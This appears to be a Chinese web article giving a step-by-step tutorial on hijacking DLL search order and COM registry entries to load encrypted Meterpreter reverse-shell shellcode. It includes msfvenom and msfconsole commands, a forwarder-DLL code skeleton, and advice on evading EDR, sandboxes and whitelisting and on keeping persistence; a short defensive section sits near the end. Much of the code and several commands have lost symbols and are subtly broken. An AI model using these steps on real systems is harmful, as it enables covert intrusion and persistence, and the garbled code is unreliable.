尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

利用ShellcodePack实现DLL与COM劫持:高隐蔽性Shellcode加载与持久化技术详解

利用ShellcodePack实现DLL与COM劫持:高隐蔽性Shellcode加载与持久化技术详解 1. 项目概述从“劫持”到“隐身”的攻防博弈在安全研究领域我们常常需要一种“润物细无声”的技术让我们的代码能够悄无声息地运行在目标环境中无论是为了红队评估、恶意软件分析还是为了理解系统底层的安全机制。传统的进程注入、远程线程创建等方法虽然有效但往往会在进程列表、内存区域或API调用链上留下明显的痕迹容易被现代终端检测与响应EDR系统或杀毒软件捕获。这时一种更为隐蔽、更贴近操作系统原生加载机制的技术就进入了我们的视野DLL劫持与COM对象劫持。今天要深入探讨的正是如何利用一个名为ShellcodePack的工具将这两种经典的“劫持”技术与Shellcode加载相结合实现一种高隐蔽性的持久化与执行手段。这不仅仅是把一段代码塞进内存那么简单而是涉及到对Windows系统加载器行为、组件对象模型COM注册机制以及进程内存布局的深度理解和巧妙利用。简单来说我们的目标不再是“强行闯入”而是“伪装成主人邀请的客人”甚至“成为系统本身的一部分”。对于安全工程师、红队成员或是对Windows内部机制有浓厚兴趣的研究者而言掌握这套组合技意味着你能够深入理解Windows的信任边界明白系统在加载DLL或初始化COM对象时究竟信任哪些路径和注册表项。构建更隐蔽的后门相比起创建新服务或计划任务劫持系统或常用软件本就依赖的组件其行为特征更难以被静态规则发现。实现权限维持在取得初始访问权限后通过劫持一个高权限进程如以SYSTEM或管理员身份运行的服务所加载的DLL或COM组件实现权限提升或持久化。绕过应用白名单如果策略允许执行来自特定位置如C:\Windows\System32或具有特定签名的二进制文件那么一个被巧妙劫持的、位于该位置且看似合法的DLL就可能成为突破口。接下来我们将拆解整个技术链条从原理到实操从工具使用到避坑指南一步步还原如何利用ShellcodePack这把“瑞士军刀”完成从Shellcode生成到DLL/COM劫持落地的全过程。2. 核心原理深度拆解信任的滥用与内存的艺术在动手之前我们必须先吃透背后的原理。DLL劫持和COM劫持虽然最终目标都是执行我们的代码但它们的攻击面和技术路径截然不同。而ShellcodePack在其中扮演的角色是将我们的恶意逻辑“打包”成一种适合被劫持载体加载并执行的形式。2.1 DLL劫持搜索路径的陷阱Windows系统在加载一个动态链接库DLL时并非总是从绝对路径或应用程序所在目录加载。它会遵循一个既定的搜索顺序。当一个程序使用LoadLibrary或隐式链接方式调用一个DLL时如果未指定完整路径系统会按顺序在多个目录中查找。一个典型的搜索顺序可能因系统版本和SafeDllSearchMode设置而略有不同是应用程序所在的目录。系统目录C:\Windows\System32。16位系统目录C:\Windows\System。Windows目录C:\Windows。当前工作目录。PATH环境变量中列出的目录。DLL劫持的核心就是利用这个搜索顺序。攻击者将一个恶意DLL放置在比合法DLL更优先被搜索到的位置。例如如果一个应用程序试图加载version.dll而没有指定路径并且应用程序目录顺序1下存在我们放置的恶意version.dll那么我们的DLL将优先于C:\Windows\System32\version.dll被加载。但是仅仅被加载还不够。一个设计拙劣的恶意DLL可能会导致目标程序崩溃从而暴露攻击行为。因此高级的DLL劫持通常采用“转发器DLL”或“代理DLL”技术。即我们的恶意DLL会导出与原DLL完全相同的函数列表。当被加载后它先执行我们的恶意代码如解密并执行Shellcode然后再将函数调用“转发”给真正的、位于系统目录下的原始DLL从而保证应用程序功能的正常。这就需要我们精确知道目标DLL导出了哪些函数。2.2 COM对象劫持注册表的诡计组件对象模型COM是Windows中用于软件组件间通信的二进制接口标准。一个COM对象通过一个唯一的CLSID类标识符来标识系统通过查询注册表来找到实现该CLSID的DLL或EXE文件路径然后加载它。COM劫持的核心在于篡改注册表中的关联项。具体来说关注两个关键的注册表路径HKEY_CURRENT_USER\Software\Classes\CLSID{CLSID}HKEY_LOCAL_MACHINE\Software\Classes\CLSID{CLSID}在每个CLSID键下通常有一个InprocServer32用于进程内DLL服务器或LocalServer32用于本地EXE服务器子键其默认值指向实现文件的路径。COM劫持的常见手法直接路径劫持修改InprocServer32的默认值将其指向我们的恶意DLL。这是最直接的方式但容易被发现。代理进程劫持创建一个合法的代理DLL并修改注册表使系统加载我们的代理DLL。我们的代理DLL再通过COM API如CoCreateInstance创建原始对象并在前后执行恶意代码。这种方式更隐蔽因为对原始组件的调用依然正常。TreatAs 劫持使用TreatAs注册表项将一个CLSID标记为“当作”另一个CLSID来处理。这可以用于将系统组件的请求重定向到我们的恶意组件。COM劫持的优势在于许多系统进程和服务在启动时会加载大量COM组件这为我们的恶意代码在高权限上下文中执行提供了机会且由于是系统预期的行为隐蔽性极高。2.3 ShellcodePack的角色载荷的封装与伪装无论是DLL劫持还是COM劫持我们都需要一个“有效载荷”。直接写入明面的恶意代码很容易被检测。ShellcodePack这类工具的作用就是帮助我们将原始的Shellcode例如一个Meterpreter的载荷进行编码、加密、压缩和反仿真处理并将其嵌入到一个合法的“壳”Loader中。这个Loader通常是一个小巧、功能单一的PE文件EXE或DLL它的唯一职责就是在运行时解密内存中的Shellcode分配可执行内存将控制权移交过去。ShellcodePack生成的Loader其代码形态和结构经过精心设计可能具备以下特征以规避检测API动态解析不直接导入VirtualAlloc、CreateThread等敏感API而是在运行时通过GetProcAddress动态获取减少导入表特征。Shellcode加密载荷在静态文件中是加密的只在内存中解密逃避静态特征扫描。反沙箱/反调试内嵌简单的反分析技巧如在虚拟机中退出、检测调试器等。多种执行技术支持进程注入、反射式DLL加载、APC注入等多种Shellcode执行方式。在我们的场景中我们会利用ShellcodePack生成一个DLL格式的Loader。这个DLL将作为我们实施劫持的“武器化载体”。它需要被设计成既能安静地执行我们的Shellcode又能完美地扮演“转发器”或“代理”的角色不破坏原有程序的功能。3. 环境与工具准备工欲善其事必先利其器在开始实操前我们需要搭建一个安全的实验环境并准备好必要的工具。强烈建议所有操作在隔离的虚拟机如VMware或VirtualBox中进行目标系统最好使用Windows 10或11。3.1 实验环境配置攻击机Kali Linux 或 配置了相关工具的Windows用于生成Shellcode和操作ShellcodePack。安装Metasploit Framework用于生成Payload。安装mingw-w64用于交叉编译C代码如果在Windows上可用Visual Studio。靶机Windows 10/11用于测试劫持效果。关闭实时防病毒保护仅用于实验。安装Process MonitorProcMon来自Sysinternals套件这是发现DLL劫持和COM劫持机会的神器。安装一个用于测试的、可能存在劫持漏洞的应用程序例如某些旧版本的PDF阅读器、音乐播放器等。网络确保攻击机和靶机在同一网络能互相通信用于反向Shell测试。3.2 核心工具链详解ShellcodePack这是我们本次的核心工具。它是一个命令行工具通常以源码形式提供需要编译。其核心功能是接收一个原始的Shellcode文件.bin输出一个高度定制的Loader源码C语言。获取通常可以从GitHub等开源安全平台找到。请务必从可信源获取。编译在Linux上使用gcc -o shellcodepack shellcodepack.c编译在Windows上可使用MinGW或VS编译。关键参数理解-i指定输入的Shellcode文件。-o指定输出的Loader源码文件.c。-t指定Loader类型如dll、exe、reflective_dll等。对于劫持我们主要使用dll。-e指定加密算法如XOR、AES。-p指定反沙箱、反调试等“保护”选项。Metasploit Framework (msfvenom)用于生成各种Payload的Shellcode。经典命令示例msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f raw -o payload.bin这里生成的是raw格式的二进制Shellcode正是ShellcodePack所需的输入。Process Monitor (ProcMon)微软Sysinternals套件中的利器。我们将用它来“窥探”目标进程的一举一动。过滤是关键启动ProcMon后会海量刷屏。必须设置过滤器Filter。对于DLL劫持探测添加过滤器Operation为CreateFile或LoadImagePath以.dll结尾并排除Process Name为Procmon.exe和System等。关注RESULT为NAME NOT FOUND或PATH NOT FOUND的条目这往往指示系统在某个路径寻找DLL但没找到这就是潜在的劫持点。对于COM劫持探测添加过滤器Operation为RegOpenKey或RegQueryValue且Path包含CLSID。观察进程在访问哪些CLSID。编译环境 (MinGW-w64 或 Visual Studio)用于将ShellcodePack生成的C源码编译成最终的DLL文件。MinGW-w64命令示例x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c -lws2_32对于需要网络功能的Shellcode。依赖分析工具 (如dumpbin或objdump)用于分析目标合法DLL的导出函数这是制作转发器DLL的必备步骤。Visual Studio命令行工具中的dumpbin.exe非常强大。命令dumpbin /exports C:\Windows\System32\legit.dll可以列出legit.dll的所有导出函数。4. 实操流程从Shellcode到劫持落地现在让我们串联起整个流程一步步实现利用ShellcodePack的DLL进行劫持。4.1 第一步生成并封装Shellcode假设我们的攻击机IP是192.168.1.100监听端口4444。生成原始Shellcode# 在Kali攻击机上 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f raw -o payload.bin这会生成一个包含反向TCP连接Shellcode的payload.bin文件。使用ShellcodePack封装# 假设shellcodepack已编译为可执行文件 ./shellcodepack -i payload.bin -o loader.c -t dll -e xor -p antidebug,antisandbox-t dll指定生成DLL类型的Loader。-e xor使用简单的XOR加密实际中可根据需要选择更强算法。-p antidebug,antisandbox添加反调试和反沙箱保护基础级别。 执行后会得到一个loader.c文件。用文本编辑器打开它你会发现核心的Shellcode数据已经被加密并存储在了一个字节数组中如unsigned char payload[] {...}而DllMain函数或其它入口函数包含了解密和执行这段Shellcode的逻辑。4.2 第二步将Loader改造为“转发器DLL”这是DLL劫持能否成功且不导致崩溃的关键。ShellcodePack生成的loader.c通常只包含执行Shellcode的逻辑不具备转发功能。我们需要手动添加。分析目标DLL的导出函数 假设我们通过ProcMon发现目标程序VictimApp.exe会尝试从应用程序目录加载d3d9.dll一个常见的DirectX DLL。我们决定劫持它。 在Windows靶机上或任何有dumpbin的环境dumpbin /exports C:\Windows\System32\d3d9.dll d3d9_exports.txt打开d3d9_exports.txt你会看到一长串导出函数例如Direct3DCreate9 Direct3DCreate9Ex D3DPERF_BeginEvent D3DPERF_EndEvent ... (还有很多)修改loader.c添加转发器逻辑 我们需要创建一个.def文件模块定义文件来指定导出函数或者直接在C代码中使用__declspec(dllexport)。更清晰的方法是使用.def文件。创建exports.def文件LIBRARY evil_d3d9 EXPORTS Direct3DCreate9Forwarder_Direct3DCreate9 1 Direct3DCreate9ExForwarder_Direct3DCreate9Ex 2 D3DPERF_BeginEventForwarder_D3DPERF_BeginEvent 3 D3DPERF_EndEventForwarder_D3DPERF_EndEvent 4 ... (列出所有你需要转发的函数)注意函数后面的1、2是序号必须与原始DLL的导出序号完全一致否则转发会失败。dumpbin的输出中也包含了序号信息。修改loader.c实现转发函数 在loader.c的开头添加函数声明和实现。我们需要动态加载真正的d3d9.dll并获取每个函数的地址。#include windows.h // 声明原始函数类型需要根据d3d9.h或微软文档来定义这里以Direct3DCreate9为例 typedef IDirect3D9* (WINAPI* pfnDirect3DCreate9)(UINT SDKVersion); // 类似地声明其他函数类型... // 全局句柄和函数指针 HMODULE hOriginalDll NULL; pfnDirect3DCreate9 TrueDirect3DCreate9 NULL; // ... 其他函数指针 BOOL LoadOriginalFunctions() { // 加载系统目录下的原始dll char sysPath[MAX_PATH]; GetSystemDirectoryA(sysPath, MAX_PATH); strcat_s(sysPath, MAX_PATH, \\d3d9.dll); hOriginalDll LoadLibraryA(sysPath); if (hOriginalDll NULL) return FALSE; TrueDirect3DCreate9 (pfnDirect3DCreate9)GetProcAddress(hOriginalDll, Direct3DCreate9); // ... 类似地获取其他所有需要转发的函数地址 return (TrueDirect3DCreate9 ! NULL); // 检查关键函数是否获取成功 } // 转发函数实现 IDirect3D9* WINAPI Forwarder_Direct3DCreate9(UINT SDKVersion) { if (TrueDirect3DCreate9 NULL) { if (!LoadOriginalFunctions()) return NULL; } return TrueDirect3DCreate9(SDKVersion); } // ... 实现其他转发函数 // 你的Shellcode执行逻辑由ShellcodePack生成应该放在DllMain或一个单独的线程中 // 确保它不会阻塞转发函数的调用 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason DLL_PROCESS_ATTACH) { // 在这里启动一个线程来执行你的Shellcode CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ShellcodeEntry, NULL, 0, NULL); // 注意ShellcodeEntry是你ShellcodePack生成的执行函数 } return TRUE; }修改编译指令编译时需要链接.def文件。x86_64-w64-mingw32-gcc -shared -o evil_d3d9.dll loader.c exports.def -lws2_32 -ld3d9-ld3d9是为了链接d3d9.lib如果有的话但因为我们使用动态加载LoadLibrary/GetProcAddress这个选项可能不是必须的但包含它可以解决一些编译时的符号引用问题。关键注意事项实现转发器是DLL劫持中最繁琐但最关键的一步。你必须确保导出函数名和序号完全正确一个错误就会导致应用程序在调用该函数时崩溃。原始DLL的延迟加载我们的恶意DLL先被加载必须在它的DllMain或初始化代码中加载原始DLL而不能在全局变量初始化时加载否则可能导致循环依赖或初始化顺序问题。上面示例的LoadOriginalFunctions在第一个转发函数被调用时才执行加载是一种“延迟加载”策略。Shellcode执行线程化绝对不要在DllMain中直接执行耗时或可能阻塞的操作如网络连接。这极易导致死锁。务必像示例中那样CreateThread来异步执行。4.3 第三步实施DLL劫持定位劫持点使用ProcMon监控目标程序VictimApp.exe。设置好过滤器观察其尝试加载DLL时哪些路径的RESULT是NAME NOT FOUND。优先选择那些在应用程序目录、用户可写目录下查找DLL的条目。放置恶意DLL将编译好的evil_d3d9.dll重命名为目标DLL的名字这里是d3d9.dll并放置到比合法DLL更优先的搜索目录中。例如如果ProcMon显示程序在自身目录下寻找d3d9.dll未果那么就把我们的DLL放到VictimApp.exe的同级目录下。测试运行VictimApp.exe。同时在攻击机上启动Metasploit监听msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit -j如果劫持成功程序应能正常启动因为转发器工作正常并且你会在msfconsole中收到一个Meterpreter会话。4.4 第四步探索COM对象劫持COM劫持的流程与DLL劫持类似但“载体”的放置位置不同。发现COM劫持机会同样使用ProcMon。过滤目标进程可以是一个系统服务进程如svchost.exe或者一个高权限应用观察其对注册表CLSID键的访问。寻找那些查询HKCU\...\CLSID下某个键但结果可能是NAME NOT FOUND或最终加载了某个DLL的RegQueryValue操作。HKCU当前用户下的劫持优先级高于HKLM本地机器且对用户权限要求更低。制作COM劫持DLL这个DLL同样需要实现COM接口。但我们可以取巧制作一个“代理DLL”。ShellcodePack生成的DLL Loader可以作为这个代理DLL的基础。我们需要实现DllGetClassObject、DllCanUnloadNow、DllRegisterServer、DllUnregisterServer这几个标准的COM DLL导出函数。在DllGetClassObject被调用时即客户端请求创建COM对象时先执行我们的Shellcode然后再调用CoCreateInstance或加载原始COM DLL来创建真正的对象并返回。这比实现完整接口简单。修改注册表找到目标CLSID例如{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}。在HKEY_CURRENT_USER\Software\Classes\CLSID\下创建该CLSID的键如果不存在。在其下创建InprocServer32子键。将InprocServer32的默认值设置为我们的恶意DLL的完整路径。可选设置ThreadingModel值为Apartment或Both。触发COM加载当任何进程尤其是高权限进程尝试创建该CLSID对应的COM对象时我们的DLL就会被加载并执行Shellcode。触发方式可以是重启相关服务或者运行一个依赖该组件的小程序。COM劫持的隐蔽性技巧更高级的做法不是直接替换路径而是使用“劫持而不破坏”的方法。例如将原始DLL移动到另一个位置将我们的代理DLL放在原路径。代理DLL在DllGetClassObject中先加载原始DLL从新位置获取其DllGetClassObject函数地址并调用在返回给调用者之前或之后执行我们的Shellcode。这样原始功能完全不受影响我们的DLL只是一个“透明代理”隐蔽性极强。5. 高级技巧、对抗与防御视角掌握了基础操作后我们需要从更高维度思考如何提升隐蔽性和成功率以及如何防御此类攻击。5.1 提升隐蔽性的高级技巧选择高信誉、少签名的目标DLL劫持一个微软签名的、被大量软件使用的系统DLL如version.dll虽然机会多但被EDR重点监控的风险也高。可以寻找一些第三方软件自带的、不常更新、没有强签名验证的DLL作为目标。导出函数转发器的自动化手动编写转发函数对于导出函数成百上千的DLL如windows.storage.dll是噩梦。可以编写脚本解析dumpbin /exports的输出自动生成.def文件和转发函数桩代码的框架。Shellcode的分离加载不要在DLL中直接嵌入加密的Shellcode。可以让DLL从外部资源如注册表、文件、甚至网络读取和解密Shellcode。这样恶意DLL本身可能不具备明显的静态特征。利用“Known DLLs”机制绕过Windows有一个KnownDlls列表位于HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs列表中的DLL会直接从系统目录加载绕过搜索顺序。因此劫持目标应避开这个列表中的DLL。可以用dumpbin /dependents查看程序导入的DLL并结合KnownDlls列表筛选目标。COM劫持中的权限维持寻找在系统启动或用户登录时由高权限进程如winlogon.exe,services.exe加载的COM组件。劫持它们可以实现更高权限的持久化。5.2 常见问题与排查实录目标程序崩溃无Shellcode执行可能原因1导出函数签名错误。转发函数的调用约定__stdcall/__cdecl、参数数量和类型、返回值必须与原始函数完全一致。使用错误的函数指针类型调用会导致栈损坏和崩溃。解决方案仔细核对微软官方文档或SDK头文件中的函数原型。可能原因2DLL入口点DllMain处理不当。在DllMain中执行复杂操作如同步网络请求是危险的。解决方案确保Shellcode在独立的线程中启动并且DllMain快速返回TRUE。可能原因3依赖项缺失。你的恶意DLL可能依赖了某些运行时库如MSVCRT而目标环境没有。解决方案使用静态链接编译-staticfor MinGW或者将依赖的DLL一并放置到劫持目录。排查方法使用调试器如x64dbg附加到目标进程查看崩溃时的调用栈和异常代码。也可以在恶意DLL中加入日志功能输出到文件记录执行流程方便定位问题。Shellcode执行了但Meterpreter会话立即断开或不稳定可能原因1线程问题。Meterpreter的迁移等功能需要稳定的线程环境。如果执行Shellcode的线程过早结束会导致会话死亡。解决方案确保执行Shellcode的线程保持活动例如在一个while(1) { Sleep(1000); }循环中或者使用更稳定的进程注入技术如QueueUserAPC。可能原因2网络连通性问题。检查防火墙、杀毒软件是否拦截了出站连接。解决方案尝试使用更隐蔽的传输方式如HTTPS、DNS隧道的Payload。可能原因3架构不匹配。目标进程是32位x86而你的Shellcode和DLL是64位x64反之亦然。解决方案确保Payload、Loader DLL与目标进程的架构一致。使用file命令Linux或检查PE头来确认。ProcMon看不到预期的DLL加载事件可能原因DLL已被缓存。Windows会缓存已加载DLL的路径。如果之前成功从合法路径加载过该DLL后续启动可能直接从缓存读取不再进行路径搜索。解决方案重启计算机可以清除DLL缓存或者使用一个全新的、从未运行过的测试程序。5.3 防御视角如何发现和阻止此类攻击作为防御方了解攻击手法是构建检测能力的第一步。启用DLL搜索安全策略SetDefaultDllDirectories 和 AddDllDirectory鼓励开发者在应用程序中使用这些API来限定DLL搜索路径避免使用不安全的标准搜索顺序。进程缓解策略Process Mitigation Policy通过组策略或代码为进程设置ProcessImageLoadPolicy禁止从当前目录、PATH等加载DLL。加强目录权限控制对C:\Windows\System32、C:\Windows\SysWOW64等系统关键目录确保普通用户只有读取和执行权限没有写入权限。对于应用程序目录如果可行也应限制用户写入权限。部署具备行为检测能力的EDR/AV监控异常的DLL加载检测进程从非标准路径如Temp目录、用户目录加载系统DLL如d3d9.dll,version.dll。监控注册表修改特别是对HKCU\Software\Classes\CLSID和HKLM\Software\Classes\CLSID下InprocServer32等键值的修改。检测内存属性变化监控进程内存中从RW读写变为RX可执行的区域这是Shellcode解密的典型行为。应用程序签名与完整性校验对重要的应用程序及其依赖的DLL进行数字签名验证。使用诸如Windows Defender Application Control (WDAC) 等白名单技术只允许运行经过签名的代码。定期审计与威胁狩猎使用Sysinternals的Autoruns工具定期检查系统启动项、计划任务、服务以及Image Hijacks和COM Hijacks选项卡发现被篡改的注册表项。在威胁狩猎中将“进程加载了与其常见路径不符的DLL”作为一个重要的检测指标。6. 总结与演进思考利用ShellcodePack实现DLL与COM劫持本质上是一场关于“信任”和“隐蔽”的博弈。攻击者利用操作系统和应用程序固有的信任机制DLL搜索路径、COM注册表将恶意代码植入到合法的执行流中。而防御者则需要层层设防从权限控制、行为监控到应用白名单不断压缩攻击者的活动空间。从我个人的实战经验来看这项技术成功的关键往往不在于工具本身有多强大而在于对细节的把握。一个导出函数序号的错误一个线程处理的不当甚至是一个路径斜杠的方向都可能导致前功尽弃。它要求研究者既要有宏观的攻防视野也要有微观的代码调试耐心。未来随着终端安全能力的提升简单的路径劫持和注册表篡改变得越来越容易被检测。攻击技术也在向更底层、更隐蔽的方向演进例如**利用Windows功能如WMI事件订阅、IFEO调试器劫持**进行持久化这些方式不直接修改DLL或COM注册表。无文件攻击将Shellcode直接注入到合法进程的内存中或利用漏洞在内存中执行完全不落地DLL文件。利用合法签名窃取或滥用拥有合法数字签名的证书来签署恶意DLL绕过基于签名的检测。因此对于安全从业者而言理解DLL/COM劫持这类经典技术不仅是掌握一种攻击方法更是理解Windows安全模型和攻防对抗本质的绝佳切入点。它迫使你去思考系统在哪里给予了过多的信任我们该如何在便利性和安全性之间取得平衡只有深入到这种程度无论是为了攻击还是防御你才能构建起真正有效的技术能力。
返回列表